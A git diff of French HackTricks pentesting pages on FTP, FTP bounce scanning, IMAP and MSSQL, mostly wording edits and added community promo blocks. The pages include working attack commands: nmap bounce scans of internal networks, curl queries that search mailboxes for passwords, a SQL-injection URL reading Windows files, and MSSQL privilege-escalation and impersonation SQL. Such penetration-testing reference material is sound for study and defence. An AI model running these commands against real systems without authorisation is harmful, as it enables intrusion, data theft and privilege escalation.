* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -12,9 +12,17 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informations de base
|
||||
|
||||
Le **File Transfer Protocol (FTP)** sert de protocole standard pour le transfert de fichiers sur un réseau informatique entre un serveur et un client.\
|
||||
Le **protocole de transfert de fichiers (FTP)** sert de protocole standard pour le transfert de fichiers sur un réseau informatique entre un serveur et un client.\
|
||||
C'est un protocole **en texte clair** qui utilise comme **caractère de nouvelle ligne `0x0d 0x0a`** donc parfois vous devez **vous connecter en utilisant `telnet`** ou **`nc -C`**.
|
||||
|
||||
**Port par défaut:** 21
|
||||
|
@ -34,7 +42,7 @@ Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att
|
|||
|
||||
### Débogage de la connexion
|
||||
|
||||
Les commandes **FTP** **`debug`** et **`trace`** peuvent être utilisées pour voir **comment se déroule la communication**.
|
||||
Les commandes **`debug`** et **`trace`** de **FTP** peuvent être utilisées pour voir **comment se déroule la communication**.
|
||||
|
||||
## Énumération
|
||||
|
||||
|
@ -115,7 +123,7 @@ Ici, vous pouvez trouver une belle liste avec les identifiants FTP par défaut :
|
|||
|
||||
### Automatisé
|
||||
|
||||
Les vérifications FTP de connexion Anon et de rebond sont effectuées par défaut par nmap avec l'option **-sC** ou :
|
||||
Les vérifications de connexion Anon et de rebond FTP sont effectuées par défaut par nmap avec l'option **-sC** ou :
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
|
@ -125,7 +133,7 @@ Vous pouvez vous connecter à un serveur FTP en utilisant un navigateur (comme F
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Notez que si une **application web** envoie des données contrôlées par un utilisateur **directement à un serveur FTP**, vous pouvez envoyer un double encodage d'URL `%0d%0a` (dans un double encodage d'URL, c'est `%250d%250a`) et faire en sorte que le **serveur FTP effectue des actions arbitraires**. L'une de ces actions arbitraires possibles est de télécharger du contenu à partir d'un serveur contrôlé par un utilisateur, d'effectuer un balayage de ports ou d'essayer de communiquer avec d'autres services basés sur du texte en clair (comme http).
|
||||
Notez que si une **application web** envoie des données contrôlées par un utilisateur **directement à un serveur FTP**, vous pouvez envoyer un double encodage d'URL `%0d%0a` (dans un double encodage d'URL, c'est `%250d%250a`) et faire en sorte que le **serveur FTP effectue des actions arbitraires**. Une de ces actions arbitraires possibles est de télécharger du contenu depuis un serveur contrôlé par un utilisateur, d'effectuer un balayage de ports ou d'essayer de communiquer avec d'autres services basés sur du texte en clair (comme http).
|
||||
|
||||
## Télécharger tous les fichiers depuis FTP
|
||||
```bash
|
||||
|
@ -141,7 +149,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`USER nom_utilisateur`**
|
||||
* **`PASS mot_de_passe`**
|
||||
* **`HELP`** Le serveur indique quelles commandes sont supportées
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\* Cela indiquera au serveur FTP d'établir une connexion avec l'IP 127.0.0.1 sur le port 80 (_vous devez mettre le 5e caractère en "0" et le 6e en port décimal ou utiliser le 5e et 6e pour exprimer le port en hexadécimal_).
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\* Cela indiquera au serveur FTP d'établir une connexion avec l'IP 127.0.0.1 sur le port 80 (_vous devez mettre le 5e caractère en "0" et le 6e comme le port en décimal ou utiliser le 5e et 6e pour exprimer le port en hexadécimal_).
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\* Cela indiquera au serveur FTP d'établir une connexion TCP (_indiqué par "2"_) avec l'IP 127.0.0.1 sur le port 80. Cette commande **prend en charge IPv6**.
|
||||
* **`LIST`** Cela enverra la liste des fichiers dans le dossier actuel
|
||||
* **`LIST -R`** Liste de manière récursive (si autorisé par le serveur)
|
||||
|
@ -150,7 +158,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`STOU /chemin/quelquechose.txt`** Comme `APPE`, mais ne fera rien s'il existe déjà.
|
||||
* **`RETR /chemin/vers/fichier`** Une connexion passive ou de port doit être établie. Ensuite, le serveur FTP enverra le fichier indiqué via cette connexion
|
||||
* **`REST 6`** Cela indiquera au serveur que la prochaine fois qu'il enverra quelque chose en utilisant `RETR`, il doit commencer au 6e octet.
|
||||
* **`TYPE i`** Définir le transfert en binaire
|
||||
* **`TYPE i`** Définit le transfert en binaire
|
||||
* **`PASV`** Cela ouvrira une connexion passive et indiquera à l'utilisateur où se connecter
|
||||
* **`PUT /tmp/fichier.txt`** Télécharge le fichier indiqué vers le FTP
|
||||
|
||||
|
@ -158,7 +166,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
## Attaque FTPBounce
|
||||
|
||||
Certains serveurs FTP autorisent la commande PORT. Cette commande peut être utilisée pour indiquer au serveur que vous souhaitez vous connecter à un autre serveur FTP sur un certain port. Ensuite, vous pouvez utiliser cela pour scanner les ports ouverts d'un hôte via un serveur FTP.
|
||||
Certains serveurs FTP autorisent la commande PORT. Cette commande peut être utilisée pour indiquer au serveur que vous souhaitez vous connecter à un autre serveur FTP sur un certain port. Ensuite, vous pouvez l'utiliser pour scanner les ports ouverts d'un hôte via un serveur FTP.
|
||||
|
||||
[**Apprenez ici comment abuser d'un serveur FTP pour scanner des ports.**](ftp-bounce-attack.md)
|
||||
|
||||
|
@ -170,7 +178,7 @@ La théorie est simple :
|
|||
3. **Utilisez `PORT` pour vous connecter au serveur et au service arbitraires**
|
||||
4. **Utilisez `RETR` pour envoyer la requête enregistrée au serveur.**
|
||||
|
||||
Il est très probable que cela **génère une erreur comme** _**Socket not writable**_ **car la connexion ne dure pas assez longtemps pour envoyer les données avec `RETR`**. Des suggestions pour essayer d'éviter cela sont :
|
||||
Il est très probable que cela **génère une erreur comme** _**Socket non inscriptible**_ **parce que la connexion ne dure pas assez longtemps pour envoyer les données avec `RETR`**. Des suggestions pour essayer d'éviter cela sont :
|
||||
|
||||
* Si vous envoyez une requête HTTP, **mettez la même requête l'une après l'autre** jusqu'à **\~0,5 Mo** au moins. Comme ceci :
|
||||
|
||||
|
@ -181,11 +189,11 @@ posts.txt
|
|||
* Essayez de **remplir la requête avec des données "junk" relatives au protocole** (en parlant à FTP peut-être juste des commandes junk ou répéter l'instruction `RETR` pour obtenir le fichier)
|
||||
* Remplissez simplement la requête avec beaucoup de caractères nuls ou autres (divisés en lignes ou non)
|
||||
|
||||
Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier à un serveur FTP depuis un autre serveur FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier à un serveur FTP à partir d'un autre serveur FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Vulnérabilité du serveur Filezilla
|
||||
|
||||
**FileZilla** se lie généralement à un **service administratif local** pour le **serveur FileZilla** (port 14147). Si vous pouvez créer un **tunnel** depuis **votre machine** pour accéder à ce port, vous pouvez **vous connecter** en utilisant un **mot de passe vide** et **créer** un **nouvel utilisateur** pour le service FTP.
|
||||
**FileZilla** se lie généralement à un **service administratif local** pour le **serveur FileZilla** (port 14147). Si vous pouvez créer un **tunnel** depuis **votre machine** pour accéder à ce port, vous pouvez **vous y connecter** en utilisant un **mot de passe vide** et **créer** un **nouvel utilisateur** pour le service FTP.
|
||||
|
||||
## Fichiers de configuration
|
||||
```
|
||||
|
@ -198,24 +206,32 @@ vsftpd.conf
|
|||
|
||||
La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.conf`. Ici, vous pourriez trouver des paramètres dangereux :
|
||||
|
||||
* `anonymous_enable=YES`
|
||||
* `anon_upload_enable=YES`
|
||||
* `anon_mkdir_write_enable=YES`
|
||||
* `anon_root=/home/username/ftp` - Répertoire pour les utilisateurs anonymes.
|
||||
* `chown_uploads=YES` - Changer la propriété des fichiers téléchargés de manière anonyme
|
||||
* `chown_username=username` - Utilisateur à qui la propriété des fichiers téléchargés de manière anonyme est attribuée
|
||||
* `local_enable=YES` - Autoriser les utilisateurs locaux à se connecter
|
||||
* `no_anon_password=YES` - Ne pas demander de mot de passe aux utilisateurs anonymes
|
||||
* `write_enable=YES` - Autoriser les commandes : STOR, DELE, RNFR, RNTO, MKD, RMD, APPE et SITE
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - Répertoire pour les utilisateurs anonymes.
|
||||
- `chown_uploads=YES` - Changer la propriété des fichiers téléchargés de manière anonyme
|
||||
- `chown_username=username` - Utilisateur à qui la propriété des fichiers téléchargés de manière anonyme est attribuée
|
||||
- `local_enable=YES` - Autoriser les utilisateurs locaux à se connecter
|
||||
- `no_anon_password=YES` - Ne pas demander de mot de passe aux utilisateurs anonymes
|
||||
- `write_enable=YES` - Autoriser les commandes : STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, et SITE
|
||||
|
||||
### Shodan
|
||||
|
||||
* `ftp`
|
||||
* `port:21`
|
||||
- `ftp`
|
||||
- `port:21`
|
||||
|
||||
***
|
||||
***
|
||||
|
||||
## HackTricks Commandes Automatiques
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 21 #Comma separated if there is more than one.
|
||||
|
@ -269,7 +285,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
|
|
@ -12,8 +12,15 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
# FTP Bounce - Scanning
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
# Attaque de rebond FTP - Balayage
|
||||
|
||||
## Manuel
|
||||
|
||||
|
@ -43,16 +50,23 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,6 +14,14 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Protocole d'accès aux messages Internet
|
||||
|
||||
Le **protocole d'accès aux messages Internet (IMAP)** est conçu dans le but de permettre aux utilisateurs d'**accéder à leurs messages électroniques depuis n'importe quel endroit**, principalement via une connexion Internet. En essence, les e-mails sont **conservés sur un serveur** plutôt que d'être téléchargés et stockés sur l'appareil personnel d'un individu. Cela signifie que lorsqu'un e-mail est consulté ou lu, cela se fait **directement depuis le serveur**. Cette capacité permet de vérifier les e-mails depuis **plusieurs appareils**, garantissant ainsi qu'aucun message n'est manqué quel que soit l'appareil utilisé.
|
||||
|
@ -103,7 +111,7 @@ apt install evolution
|
|||
|
||||
### CURL
|
||||
|
||||
La navigation de base est possible avec [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mais la documentation est légère en détails, donc il est recommandé de vérifier la [source](https://github.com/curl/curl/blob/master/lib/imap.c) pour des détails précis.
|
||||
La navigation de base est possible avec [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mais la documentation est succincte, il est donc recommandé de consulter la [source](https://github.com/curl/curl/blob/master/lib/imap.c) pour des détails précis.
|
||||
|
||||
1. Listing mailboxes (commande imap `LIST "" "*")
|
||||
```bash
|
||||
|
@ -115,7 +123,7 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
|||
```
|
||||
Le résultat de cette recherche est une liste d'indices de messages.
|
||||
|
||||
Il est également possible de fournir des termes de recherche plus complexes. Par exemple, rechercher des brouillons avec le mot de passe dans le corps du mail :
|
||||
Il est également possible de fournir des termes de recherche plus complexes. Par exemple, rechercher des brouillons avec le mot de passe dans le corps du message :
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
|
@ -148,7 +156,13 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
## Commandes Automatiques de HackTricks
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Commandes Automatiques
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 143,993 #Comma separated if there is more than one.
|
||||
|
@ -182,7 +196,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,17 +14,25 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informations de base
|
||||
|
||||
D'après [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** est un système de gestion de base de données **relationnelle** développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel ayant pour fonction principale de stocker et de récupérer des données telles que demandées par d'autres applications logicielles - qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\
|
||||
> **Microsoft SQL Server** est un **système de gestion de base de données relationnelle** développé par Microsoft. En tant que serveur de base de données, il s'agit d'un produit logiciel ayant pour fonction principale de stocker et de récupérer des données telles que demandées par d'autres applications logicielles - qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\
|
||||
|
||||
**Port par défaut :** 1433
|
||||
```
|
||||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||||
```
|
||||
### **Tables système MS-SQL par défaut**
|
||||
### **Tables Systèmes MS-SQL par Défaut**
|
||||
|
||||
* **Base de données master**: Cette base de données est cruciale car elle capture tous les détails au niveau du système pour une instance de SQL Server.
|
||||
* **Base de données msdb**: L'Agent SQL Server utilise cette base de données pour gérer la planification des alertes et des tâches.
|
||||
|
@ -35,7 +43,7 @@ D'après [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
|
||||
## Énumération
|
||||
|
||||
### Énumération automatique
|
||||
### Énumération Automatique
|
||||
|
||||
Si vous ne savez rien sur le service:
|
||||
```bash
|
||||
|
@ -80,7 +88,7 @@ msf> use windows/manage/mssql_local_auth_bypass
|
|||
```
|
||||
### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
### Énumération Manuelle
|
||||
### Énumération manuelle
|
||||
|
||||
#### Connexion
|
||||
```bash
|
||||
|
@ -154,7 +162,7 @@ SELECT * FROM sysusers
|
|||
- Au niveau du **serveur** en utilisant des connexions
|
||||
- Au niveau de la **base de données** en utilisant des utilisateurs
|
||||
|
||||
3. **Principal :** Ce terme fait référence à l'entité à qui une autorisation est accordée pour un sécurisable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle de l'accès aux sécurisables s'effectue par l'octroi ou le refus d'autorisations ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
|
||||
3. **Principal :** Ce terme fait référence à l'entité à laquelle des autorisations sont accordées pour un sécurisable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle de l'accès aux sécurisables s'exerce par l'octroi ou le refus d'autorisations ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -245,7 +253,7 @@ Vous pouvez voir comment utiliser ces outils dans:
|
|||
|
||||
### Abus des liens de confiance MSSQL
|
||||
|
||||
[**Lisez cet article**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour trouver plus d'informations sur la façon d'abuser de cette fonctionnalité:**
|
||||
[**Lisez cet article**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour trouver plus d'informations sur comment abuser de cette fonctionnalité:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
|
@ -253,7 +261,7 @@ Vous pouvez voir comment utiliser ces outils dans:
|
|||
|
||||
### **Écrire des fichiers**
|
||||
|
||||
Pour écrire des fichiers en utilisant `MSSQL`, nous **devons activer** les [**procédures d'automatisation Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ce qui nécessite des privilèges d'administrateur, puis exécuter certaines procédures stockées pour créer le fichier:
|
||||
Pour écrire des fichiers en utilisant `MSSQL`, nous **devons activer** les [**Procédures d'automatisation Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ce qui nécessite des privilèges d'administrateur, puis exécuter certaines procédures stockées pour créer le fichier:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -290,7 +298,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
|||
|
||||
MSSQL pourrait vous permettre d'exécuter des **scripts en Python et/ou R**. Ce code sera exécuté par un **utilisateur différent** de celui utilisant **xp\_cmdshell** pour exécuter des commandes.
|
||||
|
||||
Exemple de tentative d'exécution d'un **'R'** _"Bonjour le monde!"_ **qui ne fonctionne pas**:
|
||||
Exemple essayant d'exécuter un **'R'** _"Hellow World!"_ **qui ne fonctionne pas**:
|
||||
|
||||
![](<../../.gitbook/assets/image (185) (1).png>)
|
||||
|
||||
|
@ -310,7 +318,7 @@ GO
|
|||
```
|
||||
### Lire le Registre
|
||||
|
||||
Microsoft SQL Server propose **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau, mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
|
||||
Microsoft SQL Server propose **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau, mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Régulier** | **Sensible à l'instance** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -350,7 +358,7 @@ Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que
|
|||
|
||||
### De db\_owner à sysadmin
|
||||
|
||||
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un administrateur** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **l'élévation de privilèges** car des **procédures stockées** créées là-dedans peuvent **s'exécuter** en tant que propriétaire (**administrateur**).
|
||||
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur administrateur** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **l'élévation de privilèges** car les **procédures stockées** créées peuvent s'**exécuter** en tant que propriétaire (**administrateur**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -396,7 +404,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
|||
```
|
||||
### Impersonation d'autres utilisateurs
|
||||
|
||||
SQL Server dispose d'une autorisation spéciale, nommée **`IMPERSONATE`**, qui **permet à l'utilisateur en cours d'exécution de prendre les permissions d'un autre utilisateur** ou connexion jusqu'à ce que le contexte soit réinitialisé ou que la session se termine.
|
||||
SQL Server dispose d'une permission spéciale, nommée **`IMPERSONATE`**, qui **permet à l'utilisateur en cours d'exécution de prendre les permissions d'un autre utilisateur** ou connexion jusqu'à ce que le contexte soit réinitialisé ou que la session se termine.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
|
@ -412,7 +420,7 @@ SELECT SYSTEM_USER
|
|||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Si vous pouvez vous faire passer pour un utilisateur, même s'il n'est pas sysadmin, vous devriez vérifier **si l'utilisateur a accès** à d'autres **bases de données** ou serveurs liés.
|
||||
Si vous pouvez vous faire passer pour un utilisateur, même s'il n'est pas sysadmin, vous devriez vérifier si l'utilisateur a accès à d'autres bases de données ou serveurs liés.
|
||||
|
||||
Notez qu'une fois que vous êtes sysadmin, vous pouvez vous faire passer pour n'importe qui d'autre :
|
||||
{% endhint %}
|
||||
|
@ -440,7 +448,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
